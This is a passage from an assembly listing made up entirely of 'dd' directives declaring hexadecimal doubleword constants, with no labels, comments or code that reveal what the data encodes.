		dd 84E02542h, 6FEC40E0h, 44898E25h, 2CD20470h, 47F44CCCh
		dd 88D0B7BDh, 75C222h, 658317F6h, 10F4DD7Dh, 50A099D7h
		dd 8B161604h, 92BC9013h, 410BC689h, 5922D364h, 23F0AD68h
		dd 808CB63Bh, 944D249Ch, 1292032Bh, 9ADE1A9h, 58B70B0Bh
		dd 0EC80E211h, 6BBF018Ch, 76AF8012h, 51263009h,	18E0D960h
		dd 0C5484Bh, 19EFE710h,	25507534h, 0E2A2BC63h, 0F33BF30h
		dd 9028676Dh, 139EC582h, 0F447C47h, 2E765360h, 10F1DCA1h
		dd 43BA737h, 648E65F6h,	0EC9CF0A1h, 7E2E6710h, 3025B81Ch
		dd 0E9D31591h, 340BDB4Bh, 0C4B00B12h, 0A49001CCh, 186C33BEh
		dd 0F04EC813h, 1442A51Fh, 84A0D352h, 37E918EBh,	6E9640E3h
		dd 92E03CE1h, 3580BCA2h, 0DCC274B9h, 94008877h,	575B1B53h
		dd 0F50ECE4h, 7E73F14Dh, 347139BAh, 21188179h, 9A448898h
		dd 3BC925D3h, 6209C64h,	603CFCC3h, 4271398Ah, 890F8362h
		dd 806C8756h, 274DEF10h, 0CC0800C2h, 0B026091Bh, 0FD606995h
		dd 2DED9CE1h, 709B489Fh, 0C369C7C0h, 0A7002B91h, 418B4C50h
		dd 284F02FFh, 0AF8AD27h, 0BCDD9E9Ch, 5CB52FA1h,	211B4980h
		dd 44124017h, 0FF4C3C46h, 5CC5017Dh, 3E347E89h,	348BDB70h
		dd 0B661BC33h, 0C55E020h, 73CE2467h, 74221Ch, 0BE9903B7h
		dd 34608EB2h, 5B2AB800h, 49DDB32Bh, 0A37B0164h,	4D41DFA1h
		dd 0C7C180F9h, 75E037D5h, 999F005Bh, 0E7608AA2h, 0E9F29679h
		dd 0C102A0B2h, 481FDF02h, 535461D8h, 83040A6h, 3C137D8Bh
		dd 8E5A9403h, 598A6ADh,	0EA8025B4h, 77EC01ACh, 0F1DD60DEh
		dd 1054385Ah, 841FA361h, 701A5E25h, 0A8197948h,	0EE73F405h
		dd 6CA41507h, 0BF048CC8h, 0A1138F39h, 0DB208362h, 70739A7h
		dd 7E069899h, 0C1D330CFh, 3892FB9Bh, 0AED6801Ah, 11F81D98h
		dd 9178003h, 3B50320Bh,	0B093C229h, 6E60A0F3h, 0BA837E20h
		dd 11BB1708h, 80E8E05Bh, 102DA496h, 859050h, 2FB47839h
		dd 0E47A0B34h, 583FF504h, 48F866D5h, 78B61422h,	18F465Eh
		dd 0F53611A9h, 198196C0h, 6A7704BDh, 0FAC7481h,	0EC80AC4Eh
		dd 5AF92FF4h, 3FA86BB2h, 70F50092h, 6A3F1B1Ah, 1EB9018Fh
		dd 5418559Bh, 8AF982FFh, 555A25D3h, 291DA8B7h, 4704F100h
		dd 571D176h, 0E791F255h, 0F3EC0936h, 9D3AA882h,	0A131DD0Eh
		dd 0A024E434h, 80E049h,	8365C322h, 4C5DAAA3h, 0C927A405h
		dd 8B80FD79h, 0D7E157DEh, 0BDA04050h, 463ED09Fh, 0D9F51F13h
		dd 0DF438C8h, 0A8B3C677h, 0BC446830h, 85028C8Fh, 3A253677h
		dd 0E47445B2h, 6F5F6099h, 0BA5A00F2h, 3A70C92Dh, 20986E38h
		dd 12A0A917h, 1BB16020h, 6CF75948h, 0E4D4710Dh,	587B2149h
		dd 6A1F96D4h, 0B03A5AF3h, 67C74162h, 2F564E5Dh,	623F4h
		dd 2050AA74h, 3101E9D1h, 91D25BE4h, 5C78FC4Fh, 128C8EECh
		dd 0F08C98FFh, 44F44B9h, 0BCBCF884h, 0CF30C2BDh, 4207217h
		dd 33C39E18h, 0B99D0710h
		dd 0B7BAAA21h, 66448C41h, 23C43A05h, 0F3790083h, 43AFBED8h
		dd 7F993A12h, 0DF8C08h,	0CBA286Eh, 0BC9E13F5h, 24696A80h
		dd 536504h, 0A0EC9CA2h,	0CCB5C22Ch, 14C831BFh, 6C607009h
		dd 0C4C2BF12h, 8A0004E2h, 9B61EC5Dh, 220128B0h,	0B157F4ABh
		dd 0FA12EE5Ah, 91441755h, 0A3FC804Bh, 0C99476Eh, 0DE3CEFDDh
		dd 0A62566D1h, 0B084876Ch, 0BF787059h, 7091D09Dh, 0EE0F7180h
		dd 53F8C7D3h, 5CF58D26h, 260D3C08h, 20A01C28h, 916C979Fh
		dd 1987804Eh, 0F03AA87Ch, 5BB0A19Ch, 0BCE7DD10h, 12F0074Dh
		dd 0F43A5599h, 0F3E8423h, 2125F292h, 69871427h,	101AC034h
		dd 2701B41Fh, 80F482AAh, 8F0C0105h, 0B420CA75h,	64BFC337h
		dd 5349A05Dh, 740014B2h, 0DEBD9609h, 1E007EBBh,	0C5ABB9B2h
		dd 0E3BAFBh, 0F23160D5h, 9A1CFA61h, 0D0E0D8A0h,	456D8688h
		dd 0ABDC307Fh, 1D97D6B8h, 800711E0h, 7C7368E6h,	38941EF9h
		dd 3D070BACh, 0B4A74010h, 9AFE5FE2h, 0E5C2AE00h, 0C01DCDE3h
		dd 12B490D8h, 0A6FCD9C4h, 2A4CF068h, 18AC1204h,	0DBC08860h
		dd 0BF06F309h, 4F600E7h, 0F4BC0525h, 161C7471h,	50C6766Ch
		dd 9410C01Ch, 9BF406F5h, 8761503Dh, 678144FCh, 20AD33E4h
		dd 5A6CCA00h, 31C8170Dh, 599A1B04h, 0D8DB9C8Fh,	17C41F11h
		dd 80843BDEh, 0D026D884h, 47B2118h, 427F6708h, 9310FA07h
		dd 8C71825Dh, 201FC150h, 6C0C8ECAh, 919CED78h, 38551669h
		dd 88F48BBFh, 0DFCC071h, 0D1007D59h, 33EA392Fh,	31781411h
		dd 0F598466Eh, 7CF469C3h, 0FB26025h, 107DC108h,	5424D328h
		dd 0F8BA0222h, 8B68CCDDh, 1695F098h, 0FCA3807h,	8979B243h
		dd 44ECCDE4h, 3A1160F9h, 222C006Ah, 61F01E0Eh, 7A5E77ECh
		dd 0C768FC14h, 97D0EBD2h, 0DAE306h, 0F2CFD3A8h,	79A9AB85h
		dd 0F590191Ch, 319ADB4Ch, 7AF43EBDh, 230B0B3Ah,	381034BAh
		dd 861FD908h, 0D4526080h, 82963420h, 918C054Ch,	0B05C0268h
		dd 0AF2014D4h, 4A127CBCh, 62C4059Eh, 0D3949099h, 6E256C69h
		dd 0B2A8E00Ah, 7A400012h, 7DB0602Bh, 801B1463h,	0E05142CBh
		dd 0FF4EE6h, 0AB23E581h, 2C947D8Ah, 4C66C600h, 2FEE43DBh
		dd 28770AC3h, 0C8FE68h,	192CF86Ah, 9C05FD4Eh, 0D03B9095h
		dd 0EE93F0C0h, 14D40075h, 0FDB8C824h, 0EA0F7877h, 603E7BCBh
		dd 3992A0D9h, 6F111FE5h, 0C94D8CA7h, 421E5328h,	0E083E1FBh
		dd 0F79C7C1Eh, 6129F2B1h, 3DA42080h, 6CA7A513h,	2F01DC0Eh
		dd 58FE8085h, 0F0CBD4D5h, 76D8008Dh, 0A1BBAD54h, 0A9E8E888h
		dd 7EB408C0h, 37F90992h, 40306176h, 0D9ECB5B8h,	7F358401h
		dd 3CB62EF8h, 3AB159C4h, 1103FEF2h, 6CFBFFBh, 17291100h
		dd 4FB9CA4Ch, 3E5303F8h, 74A47BBCh, 6B639000h, 0F77FC412h
		dd 97FD00A0h, 0C02C8108h, 760CB709h, 0C8A510EFh, 0B079C8h
		dd 0DB6A60F2h, 874E9506h, 521A4800h, 7DE225C4h,	0AD7EE7Ch
		dd 93693C39h, 0D2971480h, 80400C37h, 263B0AA0h,	9022A00h
		dd 7DC5A7Bh, 0AF2400D8h, 2FAD63CBh, 142AA0ACh, 5500C4A8h
		dd 0D79B889Ah, 77C0326h, 54CE3FE4h, 2D390313h, 3BBCB3F9h
		dd 7C8B5103h, 0F4D8B8CCh, 39930347h, 213FEF32h,	9E48AC80h
		dd 382C7330h, 0A15300Bh, 0B8CDF527h, 0EDF780D4h, 6CECB9D7h
		dd 0A307AC00h, 875B2AD3h, 419801F4h, 0C4557948h, 259BF439h
		dd 3D6F0100h, 870C0F2Ah, 0C0948C3h, 4AB9A133h, 0CD906C88h
		dd 0E561AB60h, 0E35B76B1h, 1ED0A9E8h, 0C0AF494h, 0C38859B4h
		dd 0F23BED00h, 0C022B78Dh, 802000E2h, 24F4A79Ah, 4C7CF644h
		dd 0A5519F00h, 0A43B4AE3h, 0A3690018h, 0F911B5DEh, 4400124Ch
		dd 0D3ED6FAFh, 902577h,	0A4133E3Fh, 0EE0D71BCh,	4CF51B00h
		dd 86E2C9B0h, 0D090189Dh, 0D5453822h, 92692D67h, 0B069EDD0h
		dd 490C06CBh, 61FE1006h, 8060853Ch, 50CC63EAh, 186A8CA7h
		dd 21F3F62Dh, 970075A0h, 28B99986h, 1D794Ah, 4D0C6E93h
		dd 0FA7225E0h, 0AA2EC203h, 0C01F4480h, 113B516h, 63AE9CC6h
		dd 8C45CDEBh, 912BCB02h, 0F0C9312Dh, 88E67661h,	34BE410h
		dd 578B59F6h, 0BFEE2878h, 480EF318h, 0E8D010h, 577E3364h
		dd 544B066Dh, 6BBE29CFh, 19DDEA8h, 0D04A44A1h, 67AE20AFh
		dd 804BC03Dh, 61249F4h,	3B4CE83h, 0FE33E571h, 6A884781h
		dd 600AF188h, 4F5CB38h,	54007475h, 0F1C7BE70h, 0CDE7FFh
		dd 3666CA29h, 8D5D4383h, 0BF704C1Ch, 1FFF83FDh,	900A264Fh
		dd 4924B1h, 0E79F3661h,	0F0C2F9EBh, 0A9D06600h,	0B05280D9h
		dd 35EA0E82h, 80022DBh,	0DAAF4395h, 1F949B00h, 0FF8C9DD9h
		dd 0EE7F44Ch, 9FCBBD5Dh, 1A02C981h, 25A1806Eh, 0FF668776h
		dd 0F0587B2Ah, 3470010Ch, 0E24F670Eh, 63D630BEh, 0F133C404h
		dd 0C9C65378h, 70C90788h, 0C5361C8Bh, 2E29809Fh, 89039DB4h
		dd 1B93E84Eh, 25F122CAh, 0DA60FB7Ah, 1D736D79h,	7DE9188Ch
		dd 0FD48212Eh, 190E153h, 0D82197CFh, 0A048A058h, 814C0189h
		dd 0A633609Ah, 5B92C4F3h, 0DE66FD00h, 0B764BD46h, 13F43A89h
		dd 67B06581h, 44237C99h, 0A3C404A4h, 0B16D02C1h, 48D0A7E3h
		dd 0C1597C3h, 0E05287B0h, 4C07C818h, 0B1744DC5h, 0F23929D0h
		dd 1A9A00FFh, 17795FBEh, 3B0059F4h, 0CB1FA411h,	1C16515Bh
		dd 81A755C1h, 0EDF6A81h, 15C3F3C3h, 0E7EA20E7h,	1C2B4139h
		dd 0EE612051h, 0C0016961h, 0D015C958h, 12000318h, 9C971980h
		dd 3EAD5301h, 3300DF10h, 0E4178920h, 46010F25h,	24FD0B6Ch
		dd 630E15C3h, 0F4D44A81h, 0C8801410h, 9027561Fh, 21B48960h
		dd 3853022Eh, 0AE3D6F06h, 93D80076h, 1DAF6DB7h,	0FA2AD977h
		dd 8D03412h, 63EB8280h,	0A0A1355Fh, 0E131F0h, 0D33866F8h
		dd 9F9706B3h, 0F092F500h, 0FD203505h, 6C6324ECh, 3B9D043Ch
		dd 87008094h, 0F679E6A8h, 0D792D112h, 0D3E83800h, 19CB3581h
		dd 299E4C9Ah, 448E08C4h, 2284C7D3h, 0B0429329h,	6B106021h
		dd 1028858Ah, 0D01A84ECh, 0CF449F48h, 7911D822h, 218324CAh
		dd 0F412ADDAh, 17D12C20h, 18033CEFh, 0EDE2F007h, 60C3174Bh
		dd 0B8A33029h, 2E904800h, 8BFC53ECh, 5632006Ah,	35924569h
		dd 7E5C254Fh, 0A92300A3h, 13B90C6Dh, 31880375h,	0E32743AAh
		dd 599BB08Fh, 4900A393h, 4F614201h, 3E4B77CCh, 28021AEh
		dd 751E6ED3h, 670323CDh, 5FF9E60Eh, 732980EDh, 0B6AB0044h
		dd 0AC12C920h, 570EA26Ah, 0C0593092h, 9FD1374Eh, 0A4DA00B0h
		dd 4F93ADC2h, 0F4CD4E5h, 7C45005Dh, 15B02CB6h, 39BA0C49h
		dd 22881732h, 6B2BC100h, 0E71CBD30h, 3B760151h,	0DF25CCAEh
		dd 5783D488h, 7DBEB500h, 2D8C3342h, 11CB0F3Eh, 80FE5A78h
		dd 48589B30h, 0EF1F6A51h, 0EBC0E821h, 3B65CA9Ch, 0DC4606DFh
		dd 22CFC698h, 0FD6DC100h, 9AF7E620h, 978E0A2Ah,	38B2B1AEh
		dd 0E1C2F000h, 732BBB60h, 0D4105B00h, 84A49540h, 1606148Fh
		dd 60029CF0h, 813D57ABh, 20909A61h, 7518A40Dh, 23C672F4h
		dd 7EBA0968h, 5483FE1Fh, 0B87F8FD4h, 0D7EB8B02h, 603641B0h
		dd 0B3FB53h, 1EFA01DAh,	8A9267Dh, 6E35341Fh, 5F7420C3h
		dd 25201AAh, 1EDA8C21h,	488440A0h, 86006D9Fh, 9DFB82D5h
		dd 3F0940D9h, 24048FA1h, 804E4267h, 3E96A968h, 0CB07C813h
		dd 157BE040h, 505EC7h, 749A0A51h, 79C52454h, 0E94A490Eh
		dd 569B8322h, 0D1680006h, 8E2E25CAh, 9D0CFA20h,	48399813h
		dd 847D012Dh, 5428666h,	1A07F8B8h, 12EAF438h, 34409E58h
		dd 0AEA26245h, 0A502008Ah
		dd 0D8BD2220h, 700F126Bh, 801DFC4Dh, 0FDCE55C9h, 32D500C1h
		dd 0CF64C033h, 20900DB8h, 0DA4F780Fh, 10F1CC85h, 0D95E0103h
		dd 819405CAh, 4386FC31h, 0F960FDE0h, 9F0BB520h,	25AD003Bh
		dd 0A0557DDEh, 0C6007E56h, 915BD1C7h, 1A8C1h, 6D0ABE72h
		dd 7B3B555Ah, 9A93AA00h, 8C590CABh, 4FAA7h, 9CA96CEBh
		dd 875BF6BFh, 1CDBCE00h, 0CC64CAAAh, 0AB1B0033h, 3BB7EB12h
		dd 0B400BDF2h, 70DF42E2h, 0EA3145h, 9CF6C9C8h, 78075352h
		dd 93C37900h, 965DEEBh,	0B81C0081h, 12832F55h, 6201FA48h
		dd 5BDA3BF4h, 0B6D4DC15h, 83ABA0B0h, 7A1C00D2h,	0FFBC73FBh
		dd 6800B8A7h, 72D92955h, 793EB0h, 9D9E9F11h, 5240F557h
		dd 0E22D5900h, 42555DEEh, 0FA6F0051h, 0F8768E7h, 3A0066B7h
		dd 56013067h, 0EBF107Fh, 4C2F9451h, 0D67AA3E0h,	4E00931Fh
		dd 5D5EEEC6h, 0E5FA96h,	97A017A9h, 0C9EF2E2Ah, 67BE4E03h
		dd 0D824665Bh, 0FEDDA6h, 6D7EBCB8h, 4EC6D908h, 0B18BA000h
		dd 23BA3B36h, 0C9E50ECBh, 19800DE0h, 8B14A979h,	9D785200h
		dd 9E1F8958h, 4DCD2843h, 0D57F01CCh, 6343525h, 0A22B70F7h
		dd 8365900h, 7C9F728Ah,	43470013h, 33B5102Fh, 0F200B032h
		dd 48317B07h, 1C1284E5h, 40A7519Eh, 0E89B2C14h,	0F0046ADCh
		dd 0DD7DF3CAh, 0C7CD1B80h, 2C1E02A6h, 4826064Bh, 0B098DA60h
		dd 0D2793Ch, 8BE8C232h,	4815BE54h, 0B43B2094h, 99E44580h
		dd 0A7AD7C71h, 1C271800h, 0F63DEDF9h, 0F1251C50h, 52D047B7h
		dd 0B8F3D008h, 1277AAFEh, 38BD2858h, 0B2AC07DCh, 0E911603Fh
		dd 30CC4027h, 0CA5C3B3Ah, 7CD1C060h, 730004B2h,	95669711h
		dd 986DC9B0h, 0A6D700BCh, 8637F155h, 62EAB9D2h,	23EC3Bh
		dd 34C50E40h, 0B78B1DFh, 6CC811Fh, 54659C00h, 0E2488D5Dh
		dd 6B007E64h, 8A18E427h, 1F13C3A5h, 0CE983FE0h,	32C10569h
		dd 70DAE840h, 4600423Eh, 0DFF5574h, 0E8B42E88h,	0A27100F2h
		dd 9CB8627Ch, 52281308h, 8F0E9028h, 604B0E87h, 0BDE5B053h
		dd 0B8610036h, 2F2B01AEh, 0CD00318Ah, 56738B4h,	0C00EE752h
		dd 88516030h, 0CC006850h, 131C333Ah, 201B35Fh, 0B7CEF3BCh
		dd 0D0405D10h, 820514D5h, 0FD22F2CDh, 24F57E80h, 0AEF0006h
		dd 0E11EED79h, 2F0027ADh, 0EEB8B63Dh, 964CF6h, 41F46DD5h
		dd 2DA08AABh, 119BEC00h, 77209A52h, 0D4CB00F1h,	0A61F221Dh
		dd 39004772h, 4A12ACEAh, 97D99C38h, 760156F8h, 95BBA88Bh
		dd 37CD5D2Ah, 0F16D20h,	0B07D4C58h, 90FFD682h, 1089D00h
		dd 3FB73DEEh, 0B5E300CDh, 5DF6161Dh, 0AA045158h, 8C011B18h
		dd 12865480h, 4F4A0E11h, 2A40DE74h, 607014A6h, 0A3CD3Dh
		dd 872E89A4h, 0FA5AD9Ah, 5C56CCF0h, 31028B00h, 0A800DE38h
		dd 0D1964177h, 77C12EF6h, 6E113ABEh, 95862B00h,	35AC50A7h
		dd 5A0E8777h, 142EAC3h,	0EB18B05Dh, 3B616860h, 8500A0D8h
		dd 23069A63h, 8D1E6749h, 0C9803A43h, 0E080C361h, 0FD44006Bh
		dd 0E7DD9C91h, 2000A8EBh, 16DAE21Dh, 945F556h, 4EE6B993h
		dd 50356400h, 587DA9DEh, 0F68A3307h, 40DE1694h,	0B7CA733Dh
		dd 2A5306D5h, 0C01D9D37h, 0E47D2702h, 605FB974h, 0BB5C9Bh
		dd 0F8FA3034h, 87704A2Fh, 0F0E28C04h, 0BEC089F7h, 0E10CC9h
		dd 0A20A5F18h, 0B6045A14h, 6C38DD00h, 76442C71h, 895D00E8h
		dd 9CED2E67h, 1B48341Ah, 0D9C44006h, 0C10CC200h, 0A046F12Ch
		dd 76DD2CB4h, 0D72D03BAh, 293E6132h, 0C0A80E8h,	0C8DE45D8h
		dd 0A77E0046h, 0C9164212h, 0E49019A5h, 342A62F8h, 0B54C8068h
		dd 0D84804h, 7805B375h,	619214h, 4AF2BD94h, 0AAD35539h
		dd 9D1DB600h, 0FDA72F16h, 82F7FD64h, 0B508C843h, 747A05B3h
		dd 40F0C88Bh, 0D777080h, 9CF2B4BBh, 82F7F81Fh, 7573EE02h
		dd 0A678E0C8h, 0BDE145Dh, 0D50BA086h, 80FFD371h, 0C7D43267h
		dd 0DE100C3h, 3438BDC9h, 0CF004869h, 4F045EF6h,	0FA9C12A4h
		dd 0F0711795h, 0C6520024h, 0A28E6944h, 2C97B100h, 167E9388h
		dd 0D7630022h, 600661F5h, 0A9008753h, 0C9CFDEFCh, 0C884AEh
		dd 3804EC52h, 0D5E06732h, 0C7E3A828h, 0C36C0A00h, 18ABFCBFh
		dd 0F83A1368h, 8BED01E8h, 0F43259E9h, 0E405870Fh, 0BF775DB1h
		dd 0CA529880h, 0BE430F8Eh, 93C02A22h, 0F68F473Eh, 24EC0F0Fh
		dd 0C40DC0D3h, 1C2F0B58h, 0C1B10AF0h, 14E76B9Ah, 0E0032E39h
		dd 0D02BADDFh, 58158061h, 2A0798F7h, 50DB9766h,	0F064C213h
		dd 6E11A424h, 50006116h, 8FA7B763h, 42280168h, 0A5A9C320h
		dd 735A8093h, 0FBEE9055h, 0E89E01F6h, 6D5D6ECAh, 0DB82E819h
		dd 9587E319h, 21FC9C4Ch, 0F23D038Bh, 0ACD2186Dh, 75A5D800h
		dd 133194C0h, 1DEC02C6h, 0D0C3F676h, 0DD2B60C0h, 0E149BF00h
		dd 6CB220Fh, 45461DFFh,	752840ECh, 0D858CEA3h, 601CCCB0h
		dd 62C4D52Ah, 0CCC0201Ch, 78DF9C74h, 0FBF400F3h, 0A218A45Eh
		dd 0BE184C7Ah, 231059E8h, 1F3FA44h, 928F6C7Bh, 6015BA68h
		dd 0C70B40A8h, 5642ECh,	62498820h, 977536h, 0B4736B8Bh
		dd 0EE773115h, 26FF171Ch, 0A500ACACh, 0E4258F71h, 0B310C0C3h
		dd 22FD01A3h, 0A0FA7400h, 8CBF4958h, 7F9501E0h,	268DC05Fh
		dd 7508C809h, 4E94E201h, 43F84224h, 0EA7781F3h,	0C0BF489Fh
		dd 632A17A0h, 0A9001C5Fh, 0C555042Ch, 41C2E3h, 0DE2959B4h
		dd 0B07FF034h, 377AA3Fh, 0E48FB695h, 3758122Eh,	0EC2505DBh
		dd 0A6900025h, 0CC286442h, 5576F001h, 7AC3E1EAh, 0B62B41C6h
		dd 6D65C4h, 0A40DEC8Fh,	332F7BFAh, 803B9138h, 6AEF510Ah
		dd 12771Ch, 3E68BB79h, 50D1C06Bh, 302C0301h, 6D299290h
		dd 357CDCh, 45AA8971h, 0EFDB06C4h, 86051C98h, 4CCBFED8h
		dd 0A4A700CFh, 7CC2388Ch, 0F1FA007Ah, 44195E68h, 652A8C5Fh
		dd 0F30CE420h, 6193E6E0h, 17670178h, 2B44629Bh,	0F9FC207Dh
		dd 895CA406h, 1E18B1E0h, 0C580DBBCh, 0C005A8CFh, 6D1EF6D8h
		dd 0F7EA0117h, 9C00F116h, 200BB938h, 0CC23040Eh, 90737792h
		dd 56BB738h, 1A84E300h,	107A74CAh, 842B48AAh, 72125A00h
		dd 0A078F0DBh, 0BEA2F800h, 7E1477Fh, 0AF490CDEh, 35B8CB15h
		dd 9C78263Dh, 59439B19h, 3DDA5D2Dh, 0CEBF84A8h,	66CC4A80h
		dd 99B2158Ch, 0EE8258h,	0A9011D12h, 1A114Fh, 92B86F59h
		dd 0BB298FECh, 9B28A200h, 101D7ADCh, 641458BCh,	3E076E3Fh
		dd 505D8FB4h, 0F8E94968h, 63E4F21Dh, 0B91FE8A8h, 0DDC05ED4h
		dd 7C39BF09h, 659100A8h, 7EFEB198h, 0DF00E93Dh,	0E611BADEh
		dd 1F9B531Ah, 40F678F9h, 0D01957DCh, 0B701B967h, 0CCBF707Eh
		dd 74028AFCh, 18401242h, 0E8005743h, 0BF33D705h, 90D0CA5h
		dd 44CB47B5h, 0D22E0CADh, 0B7018850h, 1FE4A180h, 0B84C5079h
		dd 0F1721EC8h, 0A85C40C2h, 9D289F0Fh, 0FE6A9300h, 572C50E3h
		dd 0E0DF5A17h, 0B40CC1FBh, 603545F3h, 663B0579h, 399CFB2h
		dd 311BDB4h, 8A4C64E8h,	0FE93691Fh, 1E1A4500h, 8D24FFh
		dd 0FB99A5DEh, 3167CD89h, 0DCE56A01h, 0BE6F8562h, 0C23E60h
		dd 7C91849Bh, 4B5915A9h, 7FE0B50Eh, 0A1E8E2D3h,	7A2F40CDh
		dd 4FA5Ah, 235CF813h, 0C262B397h, 728ADE3Dh, 960EB098h
		dd 8EEF2921h, 0F780E003h, 2BE46Ah, 0C009472Ah, 60A9DF37h
		dd 0EC66B705h, 80EF6D9Ch, 10F370A8h, 0CDABC500h, 37B17B8Fh
		dd 2CE9FA85h, 41CFBA9h,	1938406h, 0FE895AF0h, 139A4020h
		dd 8BBAFDh, 5708E038h, 21007F47h, 3D4A52Bh, 0C161742h
		dd 9B250FFh, 25049129h
		dd 936E703Ah, 0EE64CC0h, 54C002DFh, 71B8EF03h, 89809F43h
		dd 0E200F0ECh, 0A87E58C5h, 17B3C206h, 1F6C412Dh, 4098DEDBh
		dd 9A38B2D5h, 55E0E852h, 0DBADE000h, 0F7FE3051h, 0DE660053h
		dd 321364E3h, 6C07238Dh, 918285C8h, 0AEF22A50h,	0B27E39BFh
		dd 2A4EAEh, 7F06E052h, 9F00F063h, 308CC451h, 21AFA68h
		dd 0F39A9793h, 9B40826Eh, 2C0078BFh, 0DC31C7A6h, 1F91F7h
		dd 3A050EAh, 0D6DE233Ch, 8925580Fh, 157A20B5h, 0F4D06993h
		dd 0C76702DDh, 149FF787h, 0CE900863h, 0A400EB3Ah, 0B9F0E777h
		dd 2F6693h, 0F272DE0h, 6C4755FDh, 4F7E39h, 1E07CCF0h, 0AA0AD5h
		dd 0CA6938B0h, 684B1F5Fh, 53709800h, 7C99B72Eh,	2783006Eh
		dd 0A14EE4CEh, 3D004F87h, 0BEC9EAD0h, 0F05EC3h,	0DE419F2Bh
		dd 0F28CD35Fh, 7C037490h, 0DF9B0156h, 0BAE5A049h, 0E418C0F5h
		dd 525F1C32h, 691DF903h, 0D015C7B1h, 39A33D0Ch,	0AA60A8C0h
		dd 9DEBE443h, 97DE7800h, 0B49A9917h, 0F37100FAh, 2740FDC1h
		dd 0F403BDCCh, 3228FBC3h, 52E68023h, 9C4002Ch, 0EEBADF83h
		dd 0FF007805h, 8DB5A102h, 0ADB75Ch, 0C5B36EE7h,	25C6FB87h
		dd 2B6BCB00h, 0E68D94B6h, 0B25C0070h, 0E70B0789h, 5A00AAB3h
		dd 548108F6h, 0A5124Dh,	7BAA78Bh, 0ADF470BDh, 20AFD900h
		dd 12A3E0FBh, 8CA51304h, 14D440DEh, 705FF619h, 0B493C30Fh
		dd 0A032AE58h, 0F4D37BDCh, 73200095h, 0CADA1AD0h, 5300FBE8h
		dd 0F5D69D6Ah, 1C31FD0Ch, 0C002AB17h, 9F3554B3h, 0CCA0A862h
		dd 0EB445FBAh, 22F61C6Fh, 0C03F1CC6h, 1B0993F9h, 7F2657DBh
		dd 360034EAh, 84BBC72h,	0CFF80038h, 3B8DE012h, 0EF00902Dh
		dd 0F672E9F7h, 59CEA1h,	0BF48EA92h, 3C788B1Ch, 5BB8AFFAh
		dd 90735700h, 4F4D63ECh, 333B0D2h, 808F3151h, 7BC8ED68h
		dd 9200EC91h, 628687D8h, 794D9C79h, 2645E049h, 28CC8Dh
		dd 2BEBF693h, 5618AD0Dh, 8A397A55h, 0F59F00FDh,	0F96F28C3h
		dd 0B500B6ABh, 1B9EF7D0h, 0FAF7350h, 0F4721A7Dh, 0C232A4C0h
		dd 0B9078DEAh, 672D6ECEh, 0C91E1820h, 606100D7h, 8D88E5B2h
		dd 19007078h, 49E7D48h,	0EAF88149h, 511E13E8h, 0E57C009Bh
		dd 405D7C35h, 7CB0915Ch, 0A934300h, 4AE07F72h, 69C71F01h
		dd 9283D403h, 5380A03Bh, 84220CFAh, 0E100C2ADh,	5A5F6ABCh
		dd 71109B2Fh, 2749013Fh, 0B771D8F1h, 1839A0h, 0A96B9982h
		dd 94910994h, 72DF0D6Ch, 0BD8430A2h, 3D0106EAh,	2409ECB0h
		dd 18802325h, 0FFF1449Dh, 6328B79Eh, 9518184Bh,	764990AFh
		dd 649098h, 9DB7F06Ch, 0CBA16B0Ch, 6321FF03h, 930B59BDh
		dd 0CCD20132h, 9524BCCFh, 682040A4h, 0C93AB7E0h, 96170191h
		dd 0D552CFD4h, 30B62C30h, 93183957h, 1B58FE12h,	8439A3h
		dd 14E88D4Eh, 2826F1FCh, 0E56C0C95h, 6BA79081h,	431794ABh
		dd 0C0076A0Ch, 0AFE099CDh, 114DD110h, 0D3B300B5h, 27F074BAh
		dd 0F045AE5h, 0D17056DEh, 0EA4E0180h, 0B7120043h, 241DC757h
		dd 6C381899h, 0C4AF8088h, 9A5136F2h, 5AB2764Bh,	4745013h
		dd 382F86B0h, 2BDB5F00h, 237ED061h, 8BAC3E30h, 81373301h
		dd 0F03831E6h, 0D000D348h, 0ACD984D7h, 7D23C60h, 126795Ch
		dd 42BB024h, 28031220h,	0A068AC37h, 0C5E900EDh,	6C965726h
		dd 4C0EB830h, 8CB7C060h, 72B21C4h, 6D7358CEh, 3031A017h
		dd 1E38750Ah, 4B2700ABh, 2E1885EDh, 734E0064h, 1C6C127Fh
		dd 913D907Bh, 476A0117h, 0BEEA4CF8h, 0CEC3BF8h,	0CEFF2F05h
		dd 61004838h, 15996293h, 0A87F4D6Ch, 10CFC0h, 0EB49EF67h
		dd 7C750F1Bh, 0B518BF00h, 0C96BD15Dh, 0B8F231A8h, 0EC86AC20h
		dd 4B53D9D5h, 0B1668F20h, 0DECB0693h, 913A20B1h, 1E80E04Bh
		dd 19E2787Bh, 0B8124E18h, 0E3580252h, 0DBD11FBFh, 8C9B8522h
		dd 0E4D44088h, 3040972h, 91EC8006h, 6008D82Fh, 6AC32190h
		dd 24027309h, 759D04B9h, 29444094h, 0FE780088h,	0B4F0505Eh
		dd 0C77C4884h, 0E5228CA0h, 1FBFF25h, 0DCE8123Ch, 48CF6CD8h
		dd 0D71970D9h, 805D08D1h, 49D49721h, 10DB787h, 16287545h
		dd 835E2447h, 6D4A0FC0h, 0CC3788B0h, 7C4B7B03h,	0C37501EEh
		dd 4E4FD410h, 9AD891EBh, 7096D80h, 208C6803h, 0CA0013EBh
		dd 24E30965h, 0F2790Eh,	6ACEE0E1h, 0B2D77B40h, 0C19F5B02h
		dd 87B6EB18h, 19805EB4h, 249E7FE1h, 0B7107Bh, 7C80374Eh
		dd 0A424D548h, 0B2807C16h, 9ED7AE90h, 80F1198Ch, 80A60995h
		dd 0AD98D221h, 97E503Ah, 0A0620226h, 94E51090h,	10B08C4h
		dd 0B616EE81h, 279F2440h, 0A3AC0C15h, 0D53193CDh, 9269DA1Ch
		dd 9A621F45h, 906C71C0h, 1CD45007h, 0B45A54FDh,	0FBA40162h
		dd 6B3A1786h, 0C44E43Ch, 0EA007498h, 9EBB8FDDh,	6EC9A4D4h
		dd 0F4561EBh, 0BEB9033Fh, 49184CFAh, 9820EEA4h,	79DA03D4h
		dd 0C5955BC1h, 0A7F3DEC3h, 2CAFE900h, 3097F888h, 0B9BECF1h
		dd 1AC54CDh, 41B5D400h,	1CA302D6h, 0DD920804h, 10A6BD2h
		dd 79CC80D8h, 0FBEE0D72h, 8815861h, 2FC8A920h, 57540330h
		dd 6074DEB5h, 856A0180h, 8504953Ah, 89114514h, 13E0AC50h
		dd 10426847h, 403E6F05h, 27B5B34h, 746A3C70h, 2441DD37h
		dd 86E18A7h, 6003D809h,	2194C6h, 5D0966EFh, 6B743629h
